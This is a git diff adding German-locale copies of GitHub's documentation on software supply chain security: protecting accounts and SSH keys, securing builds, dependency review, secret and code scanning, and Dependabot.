+Just like {% ifversion ghae %}the password for your IdP account{% else %}your account password{% endif %}, if an attacker were able to get your SSH private key, they could impersonate you and push malicious code to any repository you have write access for. If you store your SSH private key on a disk drive, it's a good idea to protect it with a passphrase. For more information, see "[Working with SSH key passphrases](/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases)."
+
+Another option is to generate SSH keys on a hardware security key. You could use the same key you're using for 2FA. Hardware security keys are very difficult to compromise remotely, because the private SSH key remains on the hardware, and is not directly accessible from software. For more information, see "[Generating a new SSH key for a hardware security key](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key)."
+
+{% ifversion ghec or ghes or ghae %}
+Hardware-backed SSH keys are quite secure, but the hardware requirement might not work for some organizations. An alternative approach is to use SSH keys that are only valid for a short period of time, so even if the private key is compromised it can't be exploited for very long. This is the concept behind running your own SSH certificate authority. While this approach gives you a lot of control over how users authenticate, it also comes with the responsibility of maintaining an SSH certificate authority yourself. For more information, see "[About SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities)."
+{% endif %}
+
+## Next steps
+
+- "[Securing your end-to-end supply chain](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview)"
+
+- "[Best practices for securing code in your supply chain](/code-security/supply-chain-security/end-to-end-supply-chain/securing-code)"
+
+- "[Best practices for securing your build system](/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds)"
diff --git a/translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds.md b/translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds.md
new file mode 100644
index 0000000000..68daacabf6
--- /dev/null
+++ b/translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds.md
@@ -0,0 +1,68 @@
+---
+title: Bewährte Methoden zum Schützen deines Buildsystems
+shortTitle: Securing builds
+allowTitleToDifferFromFilename: true
+intro: "Leitfaden, wie du das Ende deiner Lieferkette schützen kannst, d.\_h. die Systeme, mit denen du Artefakte erstellst und verteilst."
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: overview
+topics:
+  - Fundamentals
+  - Security
+  - CI
+  - CD
+ms.openlocfilehash: f184bb668ba1594a77099fab734686b9c550c238
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147518856'
+---
+## Über diesen Leitfaden
+
+Dieser Leitfaden beschreibt die Änderungen mit den größten Auswirkungen, die du vornehmen kannst, um die Sicherheit deines Buildsystems zu verbessern. In den einzelnen Abschnitten wird jeweils eine Änderung beschrieben, die du zur Verbesserung der Sicherheit an deinen Prozessen vornehmen kannst. Die Änderungen mit den größten Auswirkungen sind zuerst aufgeführt.
+
+## Welches Risiko besteht?
+
+Einige Angriffe auf Softwarelieferketten zielen direkt auf das Buildsystem ab. Wenn ein Angreifer den Buildprozess ändern kann, kann er dein System missbrauchen, ohne persönliche Konten oder Code kompromittieren zu müssen. Es ist wichtig, dass du nicht vergisst, sowohl das Buildsystem als auch persönliche Konten und Code zu schützen.
+
+## Schützen deines Buildsystems
+
+Ein Buildsystem sollte über mehrere Sicherheitsfunktionen verfügen:
+
+1. Die Buildschritte sollten klar und wiederholbar sein.
+
+2. Du solltest genau wissen, was während des Buildvorgangs ausgeführt wurde.
+
+3. Jeder Build sollte in einer neuen Umgebung beginnen, sodass ein kompromittierter Build nicht beibehalten wird, damit er keine zukünftigen Builds beeinflussen kann.
+
+{% data variables.product.prodname_actions %} kann dir helfen, diese Funktionen zu erfüllen. Buildanweisungen werden zusammen mit deinem Code in deinem Repository gespeichert. Du wählst aus, in welcher Umgebung dein Build ausgeführt wird, einschließlich Windows, Mac, Linux oder Runnern, die du selbst hostest. Jeder Build beginnt mit einem neuen Runner-Image, was es einem Angriff erschwert, in deiner Buildumgebung zu überleben.
+
+Neben den Sicherheitsvorteilen kannst du mit {% data variables.product.prodname_actions %} Builds manuell, periodisch oder bei Git-Ereignissen in deinem Repository auslösen, sodass häufige und schnelle Builds möglich sind.
+
+{% data variables.product.prodname_actions %} ist ein umfangreiches Thema, aber ein guter Einstieg ist [Grundlegendes zu GitHub Actions](/actions/learn-github-actions/understanding-github-actions) sowie [Auswahl von GitHub gehosteter Runner](/actions/using-workflows/workflow-syntax-for-github-actions#choosing-github-hosted-runners) und [Auslösen eines Workflows](/actions/using-workflows/triggering-a-workflow).
+
+## Signieren deines Builds
+
+Sobald dein Buildprozess sicher ist, solltest du verhindern, dass jemand das Endergebnis deines Buildprozesses manipuliert. Eine gute Möglichkeit hierzu ist das Signieren deiner Builds. Wenn Software öffentlich verteilt wird, geschieht dies häufig mit einem öffentlichen/privaten kryptografischen Schlüsselpaar. Mit dem privaten Schlüssel signierst du den Build, und du veröffentlichst deinen öffentlichen Schlüssel, damit Benutzer deiner Software die Signatur auf dem Build überprüfen können, bevor sie sie verwenden. Wenn die Bytes des Builds geändert werden, wird die Signatur nicht bestätigt.
+
+Wie genau du deinen Build signierst, hängt davon ab, welche Art von Code du schreibst, und wer deine Benutzer sind. Oft ist schwer zu entscheiden, wie der private Schlüssel sicher aufbewahrt werden kann. Eine grundsätzliche Möglichkeit ist die Verwendung verschlüsselter {% data variables.product.prodname_actions %}-Geheimnisse, wobei du allerdings genau darauf achten musst, wer Zugriff auf diese {% data variables.product.prodname_actions %}-Workflows hat. {% ifversion fpt or ghec %}Wenn dein privater Schlüssel in einem anderen, über das öffentliche Internet zugänglichen System (wie Microsoft Azure oder HashiCorp Vault) gespeichert ist, ist eine erweiterte Option die Authentifizierung mit OpenID Connect, damit du keine Geheimnisse zwischen den Systemen austauschen musst.{% endif %} Wenn dein privater Schlüssel nur über ein privates Netzwerk zugänglich ist, ist eine weitere Option die Verwendung selbstgehosteter Runner für {% data variables.product.prodname_actions %}.
+
+Weitere Informationen findest du unter [Verschlüsselte Geheimnisse](/actions/security-guides/encrypted-secrets){% ifversion fpt or ghec %}, [Informationen zur Sicherheitshärtung mit OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect),{% endif %} und [Informationen zu selbst gehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners).
+
+## Härten der Sicherheit für {% data variables.product.prodname_actions %}
+
+Du kannst viele weitere Schritte ausführen, um {% data variables.product.prodname_actions %} zusätzlich zu schützen. Gehe insbesondere beim Evaluieren der Workflows von Drittanbietern sorgfältig vor, und erwäge die Verwendung von `CODEOWNERS`, um einzuschränken, wer Änderungen an deinen Workflows vornehmen kann.
+
+Weitere Informationen findest du unter [Sicherheitshärtung für GitHub Actions](/actions/security-guides/security-hardening-for-github-actions), insbesondere [Verwenden von Aktionen von Drittanbietern](/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions) und [Verwenden von `CODEOWNERS` zum Überwachen von Änderungen](/actions/security-guides/security-hardening-for-github-actions#using-codeowners-to-monitor-changes).
+
+## Nächste Schritte
+
+- [Sichern einer End-to-End-Lieferkette](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview)
+
+- [Bewährte Methoden zum Schützen von Konten](/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts)
+
+- [Bewährte Methoden zum Sichern von Code in einer Lieferkette](/code-security/supply-chain-security/end-to-end-supply-chain/securing-code)
diff --git a/translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-code.md b/translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-code.md
new file mode 100644
index 0000000000..28d368418f
--- /dev/null
+++ b/translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-code.md
@@ -0,0 +1,118 @@
+---
+title: Best practices for securing code in your supply chain
+shortTitle: Securing code
+allowTitleToDifferFromFilename: true
+intro: Guidance on how to protect the center of your supply chain—the code you write and the code you depend on.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: overview
+topics:
+  - Dependabot
+  - Security updates
+  - Vulnerabilities
+  - Advanced Security
+  - Secret scanning
+---
+
+## About this guide
+
+This guide describes the highest impact changes you can make to improve the security of your code. Each section outlines a change you can make to your processes to improve security. The highest impact changes are listed first.
+
+## What's the risk?
+
+Key risks in the development process include:
+
+- Using dependencies with security vulnerabilities that an attacker could exploit.
+- Leaking authentication credentials or a token that an attacker could use to access your resources.
+- Introducing a vulnerability to your own code that an attacker could exploit.
+
+These risks open your resources and projects to attack and those risks are passed directly on to anyone who uses a package that you create. The following sections explain how you can protect yourself and your users from these risks.
+
+## Create a vulnerability management program for dependencies
+
+You can secure the code you depend on by creating a vulnerability management program for dependencies. At a high level this should include processes to ensure that you:
+
+1. Create an inventory of your dependencies.
+
+2. Know when there is a security vulnerability in a dependency.
+
+3. Assess the impact of that vulnerability on your code and decide what action to take.
+
+### Automatic inventory generation
+
+As a first step, you want to make a complete inventory of your dependencies. The dependency graph for a repository shows you dependencies for supported ecosystems. If you check in your dependencies, or use other ecosystems, you will need to supplement this with data from 3rd party tools or by listing dependencies manually. For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)."
+
+### Automatic detection of vulnerabilities in dependencies
+
+{% data variables.product.prodname_dependabot %} can help you by monitoring your dependencies and notifying you when they contain a known vulnerability. {% ifversion fpt or ghec or ghes %}You can even enable {% data variables.product.prodname_dependabot %} to automatically raise pull requests that update the dependency to a secure version.{% endif %} For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)"{% ifversion fpt or ghec or ghes %} and "[About Dependabot security updates](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)"{% endif %}.
+
+### Assessment of exposure to risk from a vulnerable dependency
+
+When you discover you are using a vulnerable dependency, for example, a library or a framework, you must assess your project's level of exposure and determine what action to take. Vulnerabilities are usually reported with a severity score to show how severe their impact could be. The severity score is a useful guide but cannot tell you the full impact of the vulnerability on your code.
+
+To assess the impact of a vulnerability on your code, you also need to consider how you use the library and determine how much risk that actually poses to your system. Maybe the vulnerability is part of a feature that you don't use, and you can update the affected library and continue with your normal release cycle. Or maybe your code is badly exposed to risk, and you need to update the affected library and ship an updated build right away. This decision depends on how you're using the library in your system, and is a decision that only you have the knowledge to make.
+
+## Secure your communication tokens
+
+Code often needs to communicate with other systems over a network, and requires secrets (like a password, or an API key) to authenticate. Your system needs access to those secrets to run, but it's best practice to not include them in your source code. This is especially important for repositories to which many people might have access{% ifversion not ghae %} and critical for public repositories{% endif %}.
+
+### Automatic detection of secrets committed to a repository
+
+{% note %}
+
+**Note:** {% data reusables.gated-features.secret-scanning-partner %}
+
+{% endnote %}
+
+{% data reusables.secret-scanning.enterprise-enable-secret-scanning %}
+
+{% ifversion fpt or ghec %}
+{% data variables.product.prodname_dotcom %} partners with many providers to automatically detect when secrets are committed to or stored in your public repositories, and will notify the provider so they can take appropriate actions to ensure your account remains secure. For more information, see "[About {% data variables.product.prodname_secret_scanning %} for partner patterns](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-partner-patterns)."
+{% endif %}
+
+{% ifversion fpt %}
+{% data reusables.secret-scanning.fpt-GHAS-scans %}
+{% elsif ghec %}
+If your organization uses {% data variables.product.prodname_GH_advanced_security %}, you can enable {% data variables.product.prodname_secret_scanning_GHAS %} on any repository owned by the organization. You can also define custom patterns to detect additional secrets at the repository, organization, or enterprise level. For more information, see "[About {% data variables.product.prodname_secret_scanning_GHAS %}](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-advacned-security)."
+{% else %}
+You can configure {% data variables.product.prodname_secret_scanning %} to check for secrets issued by many service providers and to notify you when any are detected. You can also define custom patterns to detect additional secrets at the repository, organization, or enterprise level. For more information, see "[About secret scanning](/code-security/secret-scanning/about-secret-scanning)" and "[Secret scanning patterns](/code-security/secret-scanning/secret-scanning-patterns)."
+{% endif %}
+
+### Secure storage of secrets you use in {% data variables.product.product_name %}
+
+{% ifversion fpt or ghec %}
+Besides your code, you probably need to use secrets in other places. For example, to allow {% data variables.product.prodname_actions %} workflows, {% data variables.product.prodname_dependabot %}, or your {% data variables.product.prodname_github_codespaces %} development environment to communicate with other systems. For more information on how to securely store and use secrets, see "[Encrypted secrets in Actions](/actions/security-guides/encrypted-secrets)," "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)," and "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)."
+{% endif %}
+
+{% ifversion ghes or ghae %}
+Besides your code, you probably need to use secrets in other places. For example, to allow {% data variables.product.prodname_actions %} workflows{% ifversion ghes %} or {% data variables.product.prodname_dependabot %}{% endif %} to communicate with other systems. For more information on how to securely store and use secrets, see "[Encrypted secrets in Actions](/actions/security-guides/encrypted-secrets){% ifversion ghes %}" and "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)."{% else %}."{% endif %}
+{% endif %}
+
+## Keep vulnerable coding patterns out of your repository
+
+{% note %}
+
+**Note:** {% data reusables.gated-features.code-scanning %}
+
+{% endnote %}
+
+{% data reusables.code-scanning.enterprise-enable-code-scanning %}
+
+### Create a pull request review process
+
+You can improve the quality and security of your code by ensuring that all pull requests are reviewed and tested before they are merged. {% data variables.product.prodname_dotcom %} has many features you can use to control the review and merge process. To get started, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)."
+
+### Scan your code for vulnerable patterns
+
+Insecure code patterns are often difficult for reviewers to spot unaided. In addition to scanning your code for secrets, you can check it for patterns that are associated with security vulnerabilities. For example, a function that isn't memory-safe, or failing to escaping user input that could lead to an injection vulnerability. {% data variables.product.prodname_dotcom %} offers several different ways to approach both how and when you scan your code. To get started, see "[About code scanning](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)."
+
+## Next steps
+
+- "[Securing your end-to-end supply chain](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview)"
+
+- "[Best practices for securing accounts](/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts)"
+
+- "[Best practices for securing your build system](/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds)"
diff --git a/translations/de-DE/content/code-security/supply-chain-security/index.md b/translations/de-DE/content/code-security/supply-chain-security/index.md
new file mode 100644
index 0000000000..b7b790eec5
--- /dev/null
+++ b/translations/de-DE/content/code-security/supply-chain-security/index.md
@@ -0,0 +1,27 @@
+---
+title: Schützen deiner Softwarelieferkette
+shortTitle: Supply chain security
+intro: 'Du kannst die Abhängigkeiten in deiner Softwarelieferkette visualisieren, verwalten und schützen.'
+redirect_from:
+  - /categories/managing-security-vulnerabilities
+  - /github/managing-security-vulnerabilities
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Dependabot
+  - Dependencies
+  - Repositories
+children:
+  - /understanding-your-software-supply-chain
+  - /end-to-end-supply-chain
+ms.openlocfilehash: bb0b22132fc705d457b017f901dd797df9ac1d61
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085524'
+---
+
diff --git a/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md b/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md
new file mode 100644
index 0000000000..914c982ece
--- /dev/null
+++ b/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md
@@ -0,0 +1,66 @@
+---
+title: About dependency review
+intro: 'Dependency review lets you catch insecure dependencies before you introduce them to your environment, and provides information on license, dependents, and age of dependencies.'
+product: '{% data reusables.gated-features.dependency-review %}'
+shortTitle: Dependency review
+versions:
+  fpt: '*'
+  ghes: '>= 3.2'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Advanced Security
+  - Dependency review
+  - Vulnerabilities
+  - Dependencies
+  - Pull requests
+redirect_from:
+  - /code-security/supply-chain-security/about-dependency-review
+---
+
+## About dependency review
+
+{% data reusables.dependency-review.feature-overview %}  
+
+If a pull request targets your repository's default branch and contains changes to package manifests or lock files, you can display a dependency review to see what has changed. The dependency review includes details of changes to indirect dependencies in lock files, and it tells you if any of the added or updated dependencies contain known vulnerabilities.
+
+Sometimes you might just want to update the version of one dependency in a manifest and generate a pull request. However, if the updated version of this direct dependency also has updated dependencies, your pull request may have more changes than you expected. The dependency review for each manifest and lock file provides an easy way to see what has changed, and whether any of the new dependency versions contain known vulnerabilities.
+
+By checking the dependency reviews in a pull request, and changing any dependencies that are flagged as vulnerable, you can avoid vulnerabilities being added to your project. For more information about how dependency review works, see "[Reviewing dependency changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)."
+
+For more information about configuring dependency review, see "[Configuring dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review)."
+
+{% data variables.product.prodname_dependabot_alerts %} will find vulnerabilities that are already in your dependencies, but it's much better to avoid introducing potential problems than to fix problems at a later date. For more information about {% data variables.product.prodname_dependabot_alerts %}, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)."
+
+Dependency review supports the same languages and package management ecosystems as the dependency graph. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)."
+
+For more information on supply chain features available on {% data variables.product.product_name %}, see "[About supply chain security](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security)."
+
+{% ifversion ghec or ghes %}
+## Enabling dependency review
+
+The dependency review feature becomes available when you enable the dependency graph. For more information, see "{% ifversion ghec %}[Enabling the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#enabling-the-dependency-graph){% elsif ghes %}[Enabling the dependency graph for your enterprise](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise){% endif %}."
+{% endif %}
+
+{% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.5 %}
+## Dependency review enforcement
+
+The action is available for all {% ifversion fpt or ghec %}public repositories, as well as private {% endif %}repositories that have {% data variables.product.prodname_GH_advanced_security %} enabled.
+
+{% data reusables.dependency-review.action-enterprise %}
+
+You can use the {% data variables.product.prodname_dependency_review_action %} in your repository to enforce dependency reviews on your pull requests. The action scans for vulnerable versions of dependencies introduced by package version changes in pull requests, and warns you about the associated security vulnerabilities. This gives you better visibility of what's changing in a pull request, and helps prevent vulnerabilities being added to your repository. For more information, see [`dependency-review-action`](https://github.com/actions/dependency-review-action).
+
+![Dependency review action example](/assets/images/help/graphs/dependency-review-action.png)
+
+By default, the {% data variables.product.prodname_dependency_review_action %} check will fail if it discovers any vulnerable packages. A failed check blocks a pull request from being merged when the repository owner requires the dependency review check to pass. For more information, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-status-checks-before-merging)."
+
+The action uses the Dependency Review REST API to get the diff of dependency changes between the base commit and head commit. You can use the Dependency Review API to get the diff of dependency changes, including vulnerability data, between any two commits on a repository. For more information, see "[Dependency review](/rest/reference/dependency-graph#dependency-review)."
+
+{% ifversion dependency-review-action-configuration %}
+You can configure the {% data variables.product.prodname_dependency_review_action %} to better suit your needs. For example, you can specify the severity level that will make the action fail{% ifversion dependency-review-action-licenses %}, or set an allow or deny list for licenses to scan{% endif %}. For more information, see "[Configuring dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review#configuring-the-dependency-review-github-action)." 
+{% endif %}
+
+{% endif %}
+
diff --git a/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security.md b/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security.md
new file mode 100644
index 0000000000..6149800e93
--- /dev/null
+++ b/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security.md
@@ -0,0 +1,169 @@
+---
+title: Informationen zur Lieferkettensicherheit
+intro: 'Mit {% data variables.product.product_name %} kannst du deine Lieferkette absichern, indem du Informationen über die Abhängigkeiten in deiner Umgebung bis zu den Sicherheitsrisiken dieser Abhängigkeiten erhältst{% ifversion fpt or ghec or ghes %} und diese patchen kannst{% endif %}.'
+miniTocMaxHeadingLevel: 3
+shortTitle: Supply chain security
+redirect_from:
+  - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Advanced Security
+  - Dependency review
+  - Dependency graph
+  - Vulnerabilities
+  - Dependencies
+  - Pull requests
+  - Repositories
+ms.openlocfilehash: 7c059876a27969b4664d5c8d94dec357a135c2de
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106501'
+---
+## Informationen zur Lieferkettensicherheit auf GitHub
+
+Aufgrund der zunehmenden Verwendung von Open-Source-Lösungen hängen die meisten Projekte von Hunderten von Open-Source-Abhängigkeiten ab. Dies stellt ein Sicherheitsproblem dar: Was ist, wenn die von Ihnen verwendeten Abhängigkeiten Sicherheitsrisiken aufweisen? Du könntest deine Benutzer*innen dem Risiko eines Lieferkettenangriffs aussetzen. Eine der wichtigsten Maßnahmen zum Schutz deiner Lieferkette besteht darin, deine anfälligen Abhängigkeiten zu patchen{% ifversion GH-advisory-db-supports-malware %} und jegliche Schadsoftware zu ersetzen{% endif %}.
+
+Du fügst Abhängigkeiten direkt deiner Lieferkette hinzu, wenn du sie in einer Manifest- oder Sperrdatei angibst. Abhängigkeiten können aber auch transitiv eingeschlossen werden. Dies bedeutet, dass, auch wenn du eine bestimmte Abhängigkeit nicht angibst, eine deiner Abhängigkeiten diese jedoch verwendet, du ebenfalls von dieser Abhängigkeit abhängig bist.
+
+{% data variables.product.product_name %} bietet eine Reihe von Features, die dir dabei helfen, die Abhängigkeiten in deiner Umgebung{% ifversion ghae %} und die Sicherheitsrisiken dieser Abhängigkeiten zu verstehen{% endif %}{% ifversion fpt or ghec or ghes %}und die Sicherheitsrisiken dieser Abhängigkeiten zu verstehen und diese zu patchen{% endif %}. 
+
+Die Lieferkettenfeatures auf {% data variables.product.product_name %} sind:
+- **Abhängigkeitsdiagramm**
+- **Abhängigkeitsüberprüfung**
+- **{% data variables.product.prodname_dependabot_alerts %} ** {% ifversion fpt or ghec or ghes %} – **{% data variables.product.prodname_dependabot_updates %}**
+  - **{% data variables.product.prodname_dependabot_security_updates %}**
+  - **{% data variables.product.prodname_dependabot_version_updates %}**{% endif %}
+
+Das Abhängigkeitsdiagramm ist von zentraler Bedeutung für die Lieferkettensicherheit. Es zeigt alle Upstreamabhängigkeiten eines Repositorys oder Pakets sowie alle öffentlichen Downstreamelemente, die von diesem Repository bzw. Paket abhängig sind. Im Abhängigkeitsdiagramm für das Repository kannst du die Abhängigkeiten deines Repositorys sowie einige der Eigenschaften dieser Abhängigkeiten sehen, z. B. Informationen zu Sicherheitsrisiken. 
+
+Andere Lieferkettenfeatures auf {% data variables.product.prodname_dotcom %} nutzen die Informationen aus dem Abhängigkeitsdiagramm.
+
+- Die Abhängigkeitsüberprüfung verwendet das Abhängigkeitsdiagramm, um Änderungen bei Abhängigkeiten zu erkennen und Ihnen dabei zu helfen, beim Überprüfen von Pull Requests die Auswirkungen dieser Änderungen auf die Sicherheit zu verstehen.
+- {% data variables.product.prodname_dependabot %} gleicht die vom Abhängigkeitsdiagramm bereitgestellten Abhängigkeitsdaten mit der in {% data variables.product.prodname_advisory_database %} veröffentlichten Empfehlungsliste ab, überprüft deine Abhängigkeiten und generiert {% data variables.product.prodname_dependabot_alerts %}, wenn ein potenzielles Sicherheitsrisiko {% ifversion GH-advisory-db-supports-malware %}oder Schadsoftware{% endif %} erkannt wurde.
+{% ifversion fpt or ghec or ghes %} – {% data variables.product.prodname_dependabot_security_updates %} verwenden das Abhängigkeitsdiagramm und {% data variables.product.prodname_dependabot_alerts %}, um dich beim Aktualisieren von Abhängigkeiten mit bekannten Sicherheitsrisiken in deinem Repository zu unterstützen.
+
+{% data variables.product.prodname_dependabot_version_updates %} verwenden nicht das Abhängigkeitsdiagramm, sondern die semantische Versionierung von Abhängigkeiten. {% data variables.product.prodname_dependabot_version_updates %} hilft dir dabei, deine Abhängigkeiten auf dem jeweils aktuellen Stand zu halten, auch wenn keine Sicherheitsrisiken vorliegen.
+{% endif %}
+
+{% ifversion fpt or ghec or ghes %} Leitlinien mit bewährten Methoden zur Sicherheit der gesamten Lieferkette, einschließlich des Schutzes von persönlichen Konten, Code und Prozessen, findest du unter [Sichern einer End-to-End-Lieferkette](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview).
+{% endif %}
+
+## Funktionsübersicht
+
+### Was ist das Abhängigkeitsdiagramm?
+
+Zum Generieren des Abhängigkeitsdiagramms überprüft {% data variables.product.company_short %} die expliziten, im Manifest und in Sperrdateien deklarierten Abhängigkeiten eines Repositorys. Wenn das Abhängigkeitsdiagramm aktiviert ist, parst es automatisch alle bekannten Paketmanifestdateien im Repository und verwendet diese, um ein Diagramm mit den Namen und Versionen bekannter Abhängigkeiten zu erstellen.
+
+- Das Abhängigkeitsdiagramm enthält Informationen zu deinen _direkten_ und _transitiven_ Abhängigkeiten. 
+- Das Abhängigkeitsdiagramm wird automatisch aktualisiert, wenn du einen Commit an {% data variables.product.company_short %} pushst, der eine unterstützte Manifest- oder Sperrdatei für den Standardbranch ändert oder hinzufügt, und wenn jemand eine Änderung an das Repository einer deiner Abhängigkeiten pusht.
+- Du kannst das Abhängigkeitsdiagramm anzeigen, indem du die Hauptseite des Repositorys auf {% data variables.product.product_name %} öffnest und zur Registerkarte **Erkenntnisse** navigierst.
+
+{% ifversion dependency-submission-api %} {% data reusables.dependency-submission.dependency-submission-link %} {% endif %}
+
+Weitere Informationen zum Abhängigkeitsdiagramm findest du unter [Informationen zum Abhängigkeitsdiagramm](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph).
+
+### Was ist die Abhängigkeitsüberprüfung?
+
+Die Abhängigkeitsüberprüfung hilft Reviewer*innen und Mitwirkenden dabei, Änderungen bei Abhängigkeiten und deren Auswirkungen auf die Sicherheit in allen Pull Requests zu verstehen. 
+
+- Die Abhängigkeitsüberprüfung teilt Ihnen mit, welche Abhängigkeiten in einem Pull Request hinzugefügt, entfernt oder aktualisiert wurden. Du kannst das Veröffentlichungsdatum, die Beliebtheit von Abhängigkeiten und Informationen zu Sicherheitsrisiken verwenden, um zu entscheiden, ob du die Änderung annehmen möchtest.
+- Du kannst die Abhängigkeitsüberprüfung für einen Pull Request einsehen, indem du auf der Registerkarte **Geänderte Dateien** das Rich-Diff anzeigst.
+
+Weitere Informationen zur Abhängigkeitsüberprüfung findest du unter [Informationen zur Abhängigkeitsüberprüfung](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review).
+
+### Was ist Dependabot?
+
+{% data variables.product.prodname_dependabot %} hält deine Abhängigkeiten auf dem jeweils aktuellen Stand, indem du über Sicherheitsrisiken bei deinen Abhängigkeiten informiert wirst{% ifversion fpt or ghec or ghes %} und automatisch Pull Requests zum Upgraden deiner Abhängigkeiten auf die nächste verfügbare sichere Version geöffnet werden, wenn eine {% data variables.product.prodname_dependabot %}-Warnung ausgelöst wird, oder zum Upgraden auf die aktuelle Version, wenn ein Release veröffentlicht wird{% else %}, damit du die betreffende Abhängigkeit aktualisieren kannst{% endif %}.
+
+{% ifversion fpt or ghec or ghes %} Der Begriff „{% data variables.product.prodname_dependabot %}“ beschreibt die folgenden Features:
+- {% data variables.product.prodname_dependabot_alerts %}: Hierbei handelt es sich um eine Benachrichtigung, die auf der Registerkarte **Sicherheit** für das Repository sowie im Abhängigkeitsdiagramm des Repositorys angezeigt wird. Die Warnung enthält einen Link zur betroffenen Datei im Projekt sowie Informationen zu einer Version, bei der das Problem behoben wurde.
+- {% data variables.product.prodname_dependabot_updates %}:
+   - {% data variables.product.prodname_dependabot_security_updates %}: Hierbei handelt es sich um Updates, die ausgelöst werden, damit deine Abhängigkeiten auf eine sichere Version upgegradet werden, sobald eine Warnung ausgelöst wird.
+   - {% data variables.product.prodname_dependabot_version_updates %}: Hierbei handelt es sich um geplante Updates, mit denen deine Abhängigkeiten auf dem neuesten Stand (aktuelle Version) gehalten werden.
+
+{% endif %}
+
+{% ifversion fpt or ghec %}
+
